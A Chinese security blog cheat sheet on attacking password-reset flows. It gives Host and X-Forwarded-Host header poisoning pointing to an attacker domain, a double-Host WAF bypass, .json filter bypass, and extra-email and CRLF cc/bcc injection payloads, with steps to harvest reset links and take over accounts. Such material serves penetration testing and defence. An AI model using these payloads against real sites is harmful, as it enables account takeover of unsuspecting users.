密码重置
将Host替换为你的服务器

Host: attackers-domain.com

双主机头绕过
修改Host被WEB程序或WAF拦截时,在请求中添加第二个Host,可能会绕过WAF.

Host: target.com
Host: attackers-domain.com

X-Forwarded-Host

在X-forwarded-Host中添加你控制的域

Host: target.com
X-Forwarded-Host: attackers-domain.com

确认是否存在漏洞
1.先正常执行密码重置,再修改主机头
2.检查应用程序发送的电子邮件是否有测试 url
概念
1.将易受攻击的标头替换为你控制的域
2.发送请求
3.等待受害者单击重置链接
4.从你控制的服务器日志中提取URL
5.使用提取的URL接管用户帐户

密码重置过滤绕过

如果web程序是基于 ruby​​ 构建的,请尝试在密码重置URL后添加.json 扩展名.

某些情况下,可能存在ACL错误,添加扩展名可能会绕过WEB程序现有的过滤.

1.将 .json 添加到重置令牌
2.查看WEB程序响应
更改邮箱
抓包,并将邮箱地址替换为你控制的邮箱地址,放包.

添加第二个邮箱

使WEB程序将密码重置URL发送到多个电子邮件地址.

在请求中添加第二个邮箱地址

&
%20
|
%0a%0dcc:
%0a%0dbcc:

修改WEB程序格式的参数,例如:

email="test@mail.test",email="attacker@mail.test"

添加邮箱地址时符合WEB程序/API 的请求格式.

重置URL泄漏

WEB程序可能通过引用标头泄露密码重置URL

抓包查看是否通过引用标头泄漏URL.

转载请注明来自FreeMe'S Blog,本文地址:https://freeme.cc/371.html

文章仅供学习研究,请遵守您当地的法律法规.